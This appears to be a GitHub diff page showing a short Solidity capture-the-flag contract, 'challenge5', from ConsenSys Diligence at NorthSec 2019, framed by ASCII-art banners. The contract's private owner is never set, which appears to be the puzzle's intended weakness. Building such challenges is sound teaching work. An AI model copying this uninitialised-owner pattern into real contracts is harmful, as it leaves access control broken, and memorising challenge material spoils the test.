___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ \_\ \ /\ ___\ // \ \ \____ \ \ \/\ \ \ \ \-. \ \ \___ \ \ \ __\ \ \ \-. \ \ \___ \ \ \____ \ \ \___ \ // \ \_____\ \ \_____\ \ \_\\"\_\ \/\_____\ \ \_____\ \ \_\\"\_\ \/\_____\ \/\_____\ \/\_____\ // \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_____/ // _____ __ __ __ ______ ______ __ __ ______ ______ // /\ __-. /\ \ /\ \ /\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ ___\ // \ \ \/\ \ \ \ \ \ \ \____ \ \ \ \ \ \__ \ \ \ __\ \ \ \-. \ \ \ \____ \ \ __\ // \ \____- \ \_\ \ \_____\ \ \_\ \ \_____\ \ \_____\ \ \_\\"\_\ \ \_____\ \ \_____\ // \/____/ \/_/ \/_____/ \/_/ \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,36 @@ // ConsenSys Diligence // NorthSec 2019 // Montreal, Canada pragma solidity ^0.5.4; contract challenge5 { string public name; address private owner; event Hi(string name); function sayHi(string memory _name) public { if (msg.sender == owner) { name = _name; } emit Hi(_name); } } // ██████╗ ██████╗ ███╗ ██╗███████╗███████╗███╗ ██╗███████╗██╗ ██╗███████╗ // ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔════╝████╗ ██║██╔════╝╚██╗ ██╔╝██╔════╝ // ██║ ██║ ██║██╔██╗ ██║███████╗█████╗ ██╔██╗ ██║███████╗ ╚████╔╝ ███████╗ // ██║ ██║ ██║██║╚██╗██║╚════██║██╔══╝ ██║╚██╗██║╚════██║ ╚██╔╝ ╚════██║ // ╚██████╗╚██████╔╝██║ ╚████║███████║███████╗██║ ╚████║███████║ ██║ ███████║ // ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚══════╝ // ██████╗ ██╗██╗ ██╗ ██████╗ ███████╗███╗ ██╗ ██████╗███████╗ // ██╔══██╗██║██║ ██║██╔════╝ ██╔════╝████╗ ██║██╔════╝██╔════╝ // ██║ ██║██║██║ ██║██║ ███╗█████╗ ██╔██╗ ██║██║ █████╗ // ██║ ██║██║██║ ██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔══╝ // ██████╔╝██║███████╗██║╚██████╔╝███████╗██║ ╚████║╚██████╗███████╗ // ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚══════╝